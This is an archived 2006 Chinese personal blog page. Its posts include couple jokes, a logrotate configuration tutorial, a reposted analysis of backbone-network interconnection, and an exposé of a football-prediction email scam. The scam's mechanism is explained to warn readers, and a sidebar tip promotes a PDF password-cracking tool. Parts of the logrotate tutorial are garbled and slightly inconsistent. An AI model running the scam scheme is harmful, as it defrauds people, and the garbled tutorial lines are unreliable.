      老婆:那衣服好看吗?
      老公:不好看。
      老婆:你就舍不得给我买!

      关于拿东西

      老婆:这个袋子你也拿着吧。
      老公:我都拿着四个袋子了,你什么都不拿,好意思吗?
      老婆:那我还挽着你呢!你有100多斤呢,我拿的东西比你拿的东西重多了。

      关于吃东西

      老婆:这个话梅我吃了一半,挺好吃的,剩下的给你吃吧。
      老公:我不爱吃话梅。
      老婆:不行,你就爱吃!你是不是嫌弃我吃过的!
      老公:这鱼挺好吃的,来。
      老婆:你得脏筷子碰过,谁吃!
      老公:那你吃过一半我还吃呢,我不嫌弃你,你怎么嫌弃我?
      老婆:那就对了。我嫌弃你说明我比你干净。我比你干净你凭什么嫌弃我?!

      关于喝水

      老婆:老公,我要喝水!
      老公:我给你倒去。哎,这水杯不就在你手边嘛,没看见?
      老婆:看见了,我就是想让你递给我。

      关于打电话

      老婆:你为什么不给我打电话?!
      老公:倒打一耙!今天不是说好你给我打电话的嘛。结果我等了一天,还是我打给你的。
      老婆:我是说过,可我又改主意了。张爱玲说:女人有改主意的权利。
      老公:那你改主意没跟我说呀!
      老婆:我说了,我心里说的,谁让你和我的心灵不相通的。

      关于洗碗

      老公:一会你洗碗?
      老婆:好。
      老公:那怎么还不动啊?
      老婆:我头疼。
      老公:懒死了,不让你洗碗你也不头疼。
      老婆:真的!一想到洗碗我就头疼。

      关于散步

      老婆:咱们一直散步到那条马路吧。
      老公:到那儿太远了,一会儿该走不回来了。
      老婆:没事,你背我回来。

      关于干家务

      老公:咱们把家务分分工吧。
      老婆:好。首先,脏活累活得男人干吧。如擦地/刷马桶/擦桌子……
      老公:这对。
      老婆:男主外,女主内。和外人打交道的得你干吧,买菜,交水费,取报纸和牛奶。
      老公:这。。。行!
      老婆:你是学理工的,我是学文科的,带电的东西得你干吧,像洗衣机,电冰箱,电饭锅,电熨斗……
      老公:行,行,那你干什么?
      老婆:别着急啊,厨房里油烟那么大,可毁皮肤了,做饭也得你干吧。
      老公:你就告诉我你干什么吧。
      老婆:我也有很多要干的呀。我可以陪着你,监督你,赞美你,安慰你……

      关于异性朋友

      老婆:我可以有男朋友,你不能干涉我。
      老公:行,我也交个女朋友。
      老婆:不行!
      老公:凭什么你行我不行呀。
      老婆:我交男朋友,你做不到的人家能做到,我就不会老挑你的毛病了,有利于家庭幸福。你交女朋友,我心眼儿小,吃醋和你吵叫,不利于家庭安定。
      老公:那我也心眼儿小。
      老婆:一个男人,和女人一样心眼儿小,亏你好意思说!

      关于婚外恋

      老婆:现在电视里老演婚外恋,你说,你会有婚外恋吗?
      老公:不会。
      老婆:为什么?
      老公:有你一个我就够后悔的了,决不能再要第二个!!
      然后---

      关于睡觉(一)

      老公:你那么小人,怎么占那么大地儿!
      老婆:那当然,我得翻身,还得伸懒腰呢!

      关于睡觉(二)

      老婆:咱们盖那个双人被吧。
      老公:别!那到第二天早上就全裹你身上了。我什么也盖不着。还是自己盖自己的吧,心里踏实。
      老婆:哼,你就是自己盖,到明天早上照样也得被我裹走!

      关于起床

      老公:起床了,起床了,你不说今天要早起开会嘛.
      老婆:别吵我,我再睡一会。
      老公:快起来吧,会迟到了。
      老婆:你别碰我!我还要睡啦!!
      老婆:呀!都迟到了!你怎么不叫我呢?!

      关于吃饭

      老婆:老公,咱们到那里吃饭啊,吃什么?
      老公:你想吃什么?
      老婆:什么都让我决定啊,那我还要你干什么?随便,你说吃什么就吃什么
      老公:那我们去XXX吃XXX吧
      老婆:大怒,又吃这个啊,你能不能有点创意
      每次这样我生气的都想发火

      关于真话

      老婆:你看,那女孩多好看。
      老公:好看什么啊。
      老婆:你什么意思!你为什么不和我保持一致!
      老公:好看好看。
      老公:哎,你别走啊,怎么不理我了?

      关于孩子

      老婆:咱们要个孩子吧。
      老公:行。
      老婆:那你喜欢咱们的孩子吗?
      老公:喜欢。
      老婆:那不行!你就得喜欢我一个人!
      老公:好,好,我就喜欢你一个人。
      老婆:那我的孩子你凭什么不喜欢阿!
      老公:咱还是别要孩子了。

      关于离婚

      老婆:咱们要是离了婚,房子归我,我的钱我也得拿走。
      老公:那我的钱呢?
      老婆:你的钱都是我的钱,你有什么钱!
      老婆:还有,离婚后你每月的收入也得给我80%。嗯,如果你再结婚了,那就给我60%就成了。
      老公:老婆,我决不跟你离婚!

      关于那女平等

      老公:都说男女平等,咱们家是不是也得平等平等?
      老婆:行啊。你们男的欺负女的欺负了好几千年。等我们也欺负了你们欺负几千年,才是真正的平等呢。别急,再过几千年,咱们家就平等了。

      关于幸福

      老婆:你娶了我是不是特别幸福啊?
      老公:没觉得。你又不讲理,又不干活,还老折腾人,我怎么幸福啊。
      老婆:这就是你的幸福啊。我不讲理,才能反衬出你的宽容大度;我不干活,就培养出了你,所谓艺多不压身,让你能力强还不好吗;我折腾人,你的生活才充满了多彩多姿,你看,你的婚姻生活就不像别人家难么单调吧。




    温馨提示:PDF Password Remover: 用来破解PDF文件保护的工具,这样就能够编辑、打印你需要的内容了
  • google analytics的时间问题

    2006-04-10 14:03:00

    用了几天google analytics感觉时间怪怪的,查了一下,原来是google的服务器在美国加洲,是在-7区,而我们中国是在+8区,相差15个小时,就是说算时间的话要把现在的时间减去15个小时才是服务器上的时间。

    加上google analytics上数据的延时大概有两个小时。


    温馨提示:pdftk: 一个简单的、命令行的PDF编辑软件,可以合并/分割PDF文档、解开必要的输入密码、输出加密、给PDF文档加水印、从PDF文档中解出附件、将PDF文档变成一页等等,能够做到编辑PDF文档的所有事情
  • 使用logrotate 管理日志文件

    2006-04-07 11:14:00Digest 1

    对于Linux 的系统安全来说,日志文件是极其重要的工具。
    系统管理员可以使用logrotate 程序用来管理系统中的最新的事件。logrotate 还可以用来备份日志文件,本篇将通过以下几部分来介绍

    日志文件的管理:
    1、logrotate 配置
    2、缺省配置 logrotate
    3、使用include 选项读取其他配置文件
    4、使用include 选项覆盖缺省配置
    5、为指定的文件配置转储参数

    一、logrotate 配置

    logrotate 程序是一个日志文件管理工具。用来把旧的日志文件删除,并创建新的日志文件,我们把它叫做“转储”。我们可以根据日志文件的大小,也可以根据其天数来转储,这个过程一般通过 cron 程序来执行。
    logrotate 程序还可以用于压缩日志文件,以及发送日志到指定的E-mail 。

    logrotate 的配置文件是 /etc/logrotate.conf。主要参数如下表:

    参数 功能
    compress 通过gzip 压缩转储以后的日志
    nocompress 不需要压缩时,用这个参数
    copytruncate 用于还在打开中的日志文件,把当前日志备份并截断
    nocopytruncate 备份日志文件但是不截断
    create mode owner group 转储文件,使用指定的文件模式创建新的日志文件
    nocreate 不建立新的日志文件
    delaycompress 和 compress 一起使用时,转储的日志文件到下一次转储时才压缩
    nodelaycompress 覆盖 delaycompress 选项,转储同时压缩。
    errors address 专储时的错误信息发送到指定的Email 地址
    ifempty 即使是空文件也转储,这个是 logrotate 的缺省选项。
    notifempty 如果是空文件的话,不转储
    mail address 把转储的日志文件发送到指定的E-mail 地址
    nomail 转储时不发送日志文件
    olddir directory 转储后的日志文件放入指定的目录,必须和当前日志文件在同一个文件系统
    noolddir 转储后的日志文件和当前日志文件放在同一个目录下
    prerotate/endscript 在转储以前需要执行的命令可以放入这个对,这两个关键字必须单独成行
    postrotate/endscript 在转储以后需要执行的命令可以放入这个对,这两个关键字必须单独成行
    daily 指定转储周期为每天
    weekly 指定转储周期为每周
    monthly 指定转储周期为每月
    rotate count 指定日志文件删除之前转储的次数,0 指没有备份,5 指保留5 个备份
    tabootext <+> list 让logrotate 不转储指定扩展名的文件,缺省的扩展名是:.rpm-orig, .rpmsave, v, 和 ~
    size size 当日志文件到达指定的大小时才转储,Size 可以指定 bytes (缺省)以及KB (sizek)或者MB (sizem).


    二、缺省配置 logrotate

    logrotate 缺省的配置募??/etc/logrotate.conf。
    Red Hat Linux 缺省安装的文件内容是:

    # see "man logrotate" for details
    # rotate log files weekly
    weekly

    # keep 4 weeks worth of backlogs
    rotate 4

    # send errors to root
    errors root
    # create new (empty) log files after rotating old ones
    create

    # uncomment this if you want your log files compressed
    #compress
    1
    # RPM packages drop log rotation information into this directory
    include /etc/logrotate.d

    # no packages own lastlog or wtmp --we‘ll rotate them here
    /var/log/wtmp {
    monthly
    create 0664 root utmp
    rotate 1
    }

    /var/log/lastlog {
    monthly
    rotate 1
    }

    # system-specific logs may be configured here


    缺省的配置一般放在logrotate.conf 文件的最开始处,影响整个系统。在本例中就是前面12行。

    第三行weekly 指定所有的日志文件每周转储一次。
    第五行 rotate 4 指定转储文件的保留 4份。
    第七行 errors root 指定错误信息发送给root。
    第九行create 指定 logrotate 自动建立新的日志文件,新的日志文件具有和
    原来的文件一样的权限。
    第11行 #compress 指定不压缩转储文件,如果需要压缩,去掉注释就可以了。

    三、使用include 选项读取其他配置文件
    include 选项允许系统管理员把分散到几个文件的转储信息,集中到一个
    主要的配置文件。当 logrotate 从logrotate.conf 读到include 选项时,会从指定文件读入配置信息,就好像他们已经在/etc/logrotate.conf 中一样。

    第13行 include /etc/logrotate.d 告诉 logrotate 读入存放在/etc/logrotate.d 目录中的日志转储参数,当系统中安装了RPM 软件包时,使用include 选项十分有用。RPM 软件包的日志转储参数一般存放在/etc/logrotate.d 目录。

    include 选项十分重要,一些应用把日志转储参数存放在 /etc/logrotate.d 。

    典型的应用有:apache, linuxconf, samba, cron 以及syslog。

    这样,系统管理员只要管理一个 /etc/logrotate.conf 文件就可以了。

    四、使用include 选项覆盖缺省配置

    当 /etc/logrotate.conf 读入文件时,include 指定的文件中的转储参数将覆盖缺省的参数,如下例:

    # linuxconf 的参数
    /var/log/htmlaccess.log
    { errors jim
    notifempty
    nocompress
    weekly
    prerotate
    /usr/bin/chattr -a /var/log/htmlaccess.log
    endscript
    postrotate
    /usr/bin/chattr +a /var/log/htmlaccess.log
    endscript
    }
    /var/log/netconf.log
    { nocompress
    monthly
    }

    在这个例子中,当 /etc/logrotate.d/linuxconf 文件被读入时,下面的参数将覆盖/etc/logrotate.conf中缺省的参数。

    Notifempty
    errors jim

    五、为指定的文件配置转储参数
    经常需要为指定文件配置参数,一个常见的例子就是每月转储/var/log/wtmp。为特定文件而使用的参数格式是:

    # 注释
    /full/path/to/file
    {
    option(s)
    }

    下面的例子就是每月转储 /var/log/wtmp 一次:
    #Use logrotate to rotate wtmp
    /var/log/wtmp
    {
    monthly
    rotate 1
    }


    六、其他需要注意的问题

    1、尽管花括号的开头可以和其他文本放在同一行上,但是结尾的花括号必须单独成行。

    2、使用 prerotate 和 postrotate 选项
    下面的例子是典型的脚本 /etc/logrotate.d/syslog,这个脚本只是对
    /var/log/messages 有效。

    /var/log/messages
    {
    prerotate
    /usr/bin/chattr -a /var/log/messages
    endscript
    postrotate
    /usr/bin/kill -HUP syslogd
    /usr/bin/chattr +a /var/log/messages
    endscript
    }

    第一行指定脚本对 /var/log messages 有效
    花ê哦阅诓康慕疟驹诵杏? /var/log/messages
    prerotate 命令指定转储以前的动作/usr/bin/chattr -a 去掉/var/log/messages文件的“只追加”属性 endscript 结束 prerotate 部分的脚本postrotate 指定转储后的动作

    /usr/bin/killall -HUP syslogd

    用来重新初始化系统日志守护程序 syslogd

    /usr/bin/chattr +a /var/log/messages

    重新为 /var/log/messages 文件指定“只追加”属性,这样防治程序员或用户覆盖此文件。

    最后的 endscript 用于结束 postrotate 部分的脚本

    3、logrotate 的运行分为三步:

    判断系统的日志文件,建立转储计划以及参数,通过cron daemon 运行下面的代码是 Red Hat Linux 缺省的crontab 来每天运行logrotate。

    #/etc/cron.daily/logrotate
    #! /bin/sh

    /usr/sbin/logrotate /etc/logrotate.conf

    4、/var/log/messages 不能产生的原因:
    这种情况很少见,但是如果你把/etc/services 中的 514/UDP 端口关掉的话,这个文件就不能产生了。

    小结:本文通过对Red Hat 系统上典型的logrotate 配置例子的介绍,详细说明了logrotate 程序的应用方法。希望对所有Linux 系统管理员有所帮助。管理好,分析好日志文件是系统安全的第一步.(另外还有一个检查日志的好东东 logcheck)。

    温馨提示:IP查询
  • [转贴]我国互联网骨干网网间互联问题分析及建议

    2006-04-06 16:07:00

    今年世界电信日的主题是“建设公平的信息社会”,在互联网产业里,公平的信息社会对普通消费者来说,意味着每个人都应该享有平等接入网络和访问资源的权利;对互联网提供者来说,则意味着每个运营主体都应获得平等互联、公平竞争等为用户提供服务的机会。而在我国互联网产业的发展过程中,不公平的现象一直存在且有日益壮大之势。


    这种不公平集中表现在小网与大网之间非对等的互联互通,或通而不畅,或小网付出巨大的交易成本,导致不同网络的用户不能得到公平与平等的服务,小网的用户经常要被动地接受网络不通、连接速度缓慢、费用高昂等无奈的事实。本文从我国互联网骨干网互联互通的现状入手,深入剖析了产生这种不公平的原因,试图呼吁将世界电信日的口号贯彻到互联网产业的发展中,共同创造一个公平、和谐的网络社会。

    我国骨干网网间互联存在的问题

    骨干网之间的互联模式主要有三种,分别是通过互联网交换中心(NAP点,NetworkAccessPoint)互联、对等直联和转接互联。

    一、NAP点被过度使用

    2000年开始,为打破国内互联网产业中原中国电信Chinanet“一网独大”的局面,信息产业部在网络资源相对集中的北京、上海、广州分别建立了国家级交换中心,截止到2001年底,三地NAP点全部开通,在信息产业部的强制要求下,经营性网络全部接入所有NAP点;非经营性网络可以选择接入一个或多个NAP点。信息产业部对全国互联网交换中心进行统一规划和管理。

    NAP点建立之初在提高网络的利用率和价值、节省骨干网的互联成本、构建我国互联网的有效竞争格局、为用户提供更高水平的互联网服务等方面起到了积极的推动作用,但是随着互联网产业的迅猛发展,NAP点互联的方式开始显露出它的弊端。

    目前国内只建立了北京、上海和广州三个国家级互联网交换中心,由于信产业部对建设地方型交换中心的严格管制,本地NAP点数量非常有限。因此骨干网之间如果仅通过NAP点互联而不兼有其他互联方式的话,产生并终止于同一个城市但归属于不同骨干网的流量在没有本地NAP点的情况下,就要通过非本地的至少一个国家级NAP点实现交换。这种过度的、低效的使用不仅加重了NAP点的负担,而且浪费了宝贵的电路中继带宽,更重要的是会在一定程度上降低业务质量和服务水平,影响用户的使用体验。特别是随着流媒体、视频点播、可视电话等对带宽和时延要求很高的新业务不断涌现,仅仅靠骨干网NAP点互联无法达到新业务所要求的服务质量,不利于新业务的推广和普及。

    二、NAP点结算办法离公平还远

    根据信息产业部2001年颁布的《互联网骨干网互联结算办法》,NAP点上的各互联单位(除中国电信、中国网通外)以互联网骨干网流入、流出NAP点流量和的平均值为基础向Chinanet和China169支付结算费用,其它互联单位之间互不结算。

    这种结算方法会带来一个明显的负效应,那些后起的、弱小的骨干网运营商,如中国联通、中国铁通、中国移动,他们不仅要为自己网内的用户访问电信和网通的内容付费,同时还要为自己的内容给电信和网通用户提供的服务付费,因此出现了一个双向付费问题。而且随着其他骨干网运营商网络内容增多,电信或网通用户访问其他骨干网运营商的资源增加,造成出流量越大,其他骨干网运营商向电信和网通支付的结算费用越高,出现了严重的不合理。

    NAP点结算办法的不合理性扩张了电信网的自然垄断性,造成的后果是“赢者通吃,强者更强”,抑制了整个互联网产业的平等竞争。不仅起点不公平,而且这种起点的不公平被不断地遗传,就象没有遗产税的遗传一样,通过不断地继承使“富的人越来越富,穷的人越来越穷”,弱小运营商和后进运营商无法获得公平竞争的机会,整个产业也就失去了持续繁荣的基础。

    三、直联的品质、转接的价格

    由于NAP点互联质量和互联带宽容量的限制,以及现行结算办法?后起骨干网运营商造成巨大的结算成本,后起骨干网运营商还采用了对等直联的方式与 Chinanet、China169互联。对等直联的结算国际上通常采用的方法是,直联双方互不结算,各方承担各互联所需的自己那部分传输带宽、交换设备等相关设施的费用。但是电信和网通却要求按转接互联的方式收取结算费用。转接互联是互联网商业化发展过程中派生出的模式。在这种模式下,提供转接的一方与要求转接的一方存在着明显的上下级关系,互联的决策权和控制权都掌握在提供转接方,特别是在结算费用上,要求转接方几乎没有谈判的余地,只能被动地接受提供转接方开出的价格,因此大大增加了这些骨干网运营商的交易成本。另外,对等直联的方式决定了其他骨干网运营商的用户只能访问Chinanet和 China169网内的资源,不能“穿透”到其他国内和国际的网络。付出了转接的费用却只能享受直联的服务和品质,这其中的不合理性不言而喻。

    四、用户难做上帝

    由于历史原因,Chinanet和China169的网络规模、网络性能和网间流量在国内都是首屈一指,大量的接入资源、内容资源和用户都被中国电信和中国网通垄断,其他运营商的网络无法与之抗衡。在NAP点被低效和过度使用的情况下,移动、联通、铁通以及一些ISP的接入用户在访问Chinanet和 China169网上的内容时,响应速度缓慢;新浪、搜狐、网易等ICP不得不同时在几个网络中架设他们的服务器,才能使得不同接入网络的用户能够体验到相同水准的内容和服务,这样就会带来巨大的交易成本,也会使整个产业付出很大的成本,ICP们不能有效地推广他们的内容,用户也不能平等的得到服务。这种对网络、内容和用户的全方位垄断也不利于新技术的导入和新商业模式的演进,妨碍了内容的有效共享和内容提供商的发展,阻碍了我国互联网产业技术的进步和服务水平的提升。从长远看,即使是Chinanet和 China169的用户,也很难找到“上帝”的感觉。

    对我国骨干网网间互联的建议

    根据以上对我国互联网骨干网网间互联存在的问题分析,本文提出改进我国互联网骨干网网间互联的几点建议。

    一、增建本地NAP点

    为了解决同城内不同骨干网之间流量交换要“绕道而行”的问题,建议信息产业部放松对建设地方性互联网交换中心的管制,允许各省(或市)建立本地NAP点,这样可以极大地节省信息传输时间和运营商的中继电路带宽,减轻国家级NAP点的压力,提高互联网资源的 利用率。

    二、实施基于流量差的结算办法

    现行的基于流量和平均值的结算办法严重损害了除中国电信和中国网通外的其他骨干网运营商和ISP的利益,打击了其他骨干网运营商和ISP进行互联互通的积极性。网间结算应充分考虑到互联各方的经营成本和经济利益,本文建议实施基于流量差的结算办法,以流入、流出NAP点的流量差,即净流量为基础进行结算。这种结算办法有以下三方面的好处:

    1.基于流量差的结算办法依然能够保护主导运营商(中国电信、中国网通)的利益。主导运营商拥有大量的用户和内容,其出流量远大于入流量,流量差越大、收益也必然越大,充分体现了主导运营商的规模优势。

    2.以流量差为基础进行互联结算能够?后起运营商提供公平的竞争机会。现行的结算办法产生的“出流量越大、结算费用越高”的结果无异于?后起运营商带上了一副沉重的成本枷锁,严重打击和束缚了他们的发展热情和空间,也失去了与主导运营商抗衡的可能。只有以流量差为基础进行结算,后起运营商才有足够的激励去发展内容和用户,才有可能达到与主导运营商平等竞争的实力和规模,从而促进互联网产业有效竞争格局的形成。

    3.基于流量差的结算办法能够促进互联网内容的发展。内容是互联网产业成败兴衰的决定性因素.对运营商来讲,谁拥有的内容多,就意味着有可能获得更多的入流量、净流量和经济利益。因此只有施行基于流量差的结算办法,才能够充分调动骨干网运营商发展内容的积极性,内容丰富了,互联网产业的真正繁荣便指日可待。

    目前,我国的NAP点已经具备了实施基于流量差的计费方式的条件,早在2003年初,信息产业部就已经在征求有关互联网运营商意见的基础上,提出了基于流量差的NAP点结算技术方案,并从技术上论证了该方案的可行性,得到了NAP点管理机构及多数互联单位 的肯定,我们呼吁信息产业部尽快实施该方案。

    三、政府应有所为有所不为

    互联互通与结算费用之争历来是互联网产业发展过程中的“老大难”,除了骨干网运营商对各自经济利益的严防死守外,政府没有进行有效地监管也是一个很重要的原因。在市场经济环境下,互联网日益商业化是个不争的事实,但这并不意味着政府要完全退出,任其发展。

    互联网产业具有明显的外部经济性和规模经济性的特点,有效的互联互通、合理的结算办法是产业发展的基本保证。我国的现状是,非主导运营商与主导运营商之间实力相差悬殊,中国电信和中国网通垄断互联网上的内容和接入资源不是市场竞争的结果,而是继承的原因。如果没有政府规制,非主导运营商根本就不具备与电信和网通开展公平、有效竞争的可能。因此必须由政府部门出面,成立相应的组织机构,进行必要的监管。除了对NAP点结算办法进行改革和管制外,我们建议政府对直联电路的价格也进行定价或者限价,以规制主导运营商的行为,改变非主导运营商受制于主导运营商的被动局面,为整个产业创造公平、公开、公正的发展环境。


    温馨提示:手机归属地查询
  • 高超的骗术

    2006-04-06 15:41:00

    现在的互联网就是以前的美国西部,敢冒险和聪明的人总会赚到大钱的。不信? 看这个:

    有一天,乔治在删除垃圾电子邮件的时候,看到这样一个标题:令人吃惊的足总杯比赛预报。他好奇地点开了它,里边写着:

    亲爱的球迷,我们知道你是个怀疑论者,凡事不会轻易相信,可我们确实已经设计出了绝对准确的预报足球比赛结果的奇妙方法。今天下午,英国足总杯将进行第三轮比赛,对垒的是考文垂队和谢菲尔德联队,我们预报考文垂队将会取得胜利。

    乔治看过后,轻蔑地一笑,没有当回事。晚上,他收看电视里的比赛结果,考文垂队果然势如破竹地赢了。

    三个星期后,乔治又收到了那个人的一封电子邮件:

    亲爱的球迷,你是否还记得,在上一轮足总杯比赛中,我们曾事先准确地预报了考文垂队获胜?今天考文垂队要和密德斯堡队交手了,我们的预测是,密德斯堡队获胜。同时我们强烈地奉劝你不要和别人去赌输赢,但请你密切关注比赛结果,看看我们的预测结果是否准确。


    那天下午,双方打成l比l平局。考文垂队本来很强,却完全没有发挥出来。而在下个星期二加赛时,密德斯堡队却以 2 比 0 的比分胜出。这回乔治有点惊讶了。

    过了几天,那个人的电子邮件又来了,预测密德斯堡队将在第五轮比赛中失利,特伦密尔队将会打败它,结果果然如此。

    而在四分之一决赛之前,那封电子邮件又告诉乔治:特伦密尔队将老老实实地输给陶顿亨队。事实果然如此。

    四次预报,四次全都说中了!

    接着,那个人在电子邮件中对乔治说:

    我们买断了一个数学家最新的研究成果。现在你大概相信,我们确实很有把握,能够料事如神。在半决赛中,阿森纳队将会打败伊普斯维奇队。

    乔治是个不服气的人,他通知了许多朋友,下午一起看球赛直播,并且计划在阿森纳输掉后,大肆羞辱那个信口开河的家伙。但是在落后的情况下,阿森纳队奋起直追,最后竟以2比1获得胜利。太不可思议了!

    第二天,那个不可思议的邮件又来了,这回它说:

    亲爱的球迷,你已经体验了我们神奇的足球预报,现在你信服了吧?我们已经做出了五次正确的预报,五发五中,你一定会同意它绝非运气,尤其是所有的冷门我们都猜中了。现在我们和你做一笔特殊的交易:在一个月的时间内,我们向你提供比赛预报,你只需支付2000英镑的定金。然后,发一封电子邮件,把参赛的两个队告诉我们,我们就会将预报结果通知你。我们殷切地盼望收到你的订单。

    2000 英镑的要价确实不低,但如果事先能知道哪一个队会赢,就完全可以从彩票商的手中赢来20万英镑。

    当然,乔治也怀疑过,他们是暗地里操控球赛的财团,或者是黑社会,但是这一切都与乔治没关系,只要预报结果准确就行了。于是,他掏出了 2000 英镑。

    事实上,这些人不过是一群骗子。里边或许会有几个数学家。

    一开始,他们向球迷发了 8000 封邮件,一半是预报甲队获胜,另一半是预报乙队获胜,于是就有 4000 人得到的预报是准确的,另一半人则会把它当成一个笑话忘掉。

    下一次,他们只给得到“正确预报”的 4000 人发送邮件,一半是预报丙方获胜,另一半是预报丁方获胜……依此类推,所谓的预测者总是给得到“正确预报”的一部分人发送新邮件,最后,剩下 250 人收到的预报结果便全部是正确的,他们当然会认为这个预报绝对灵验。其中假如有 50 人掏出 2000 英镑来,对于骗局的策划者来说,就是一笔很可观的收入了。因为他们除了发送电子邮件外,不需要任何本钱。

    温馨提示:身份证号码所在地查询
  • 网易的新闻越来越烂了

    2006-04-06 00:22:00

    一向都是到网易看新闻的,一来支持广州本地的,二来主要就是看新闻下面网友的评论,这个是别的网站所没有的。基本上到网易看新闻都是去看评论的,现在可好了,改成论坛的样子,看起来实在不爽,网易不改回来,以后都不去看了!

    温馨提示:Whois域名信息
501/3123>

我的存档

数据统计

  • 访问量: 22766
  • 日志数: 50
  • 建立时间: 2006-01-05
  • 更新时间: 2006-01-05

RSS订阅

Open Toolbar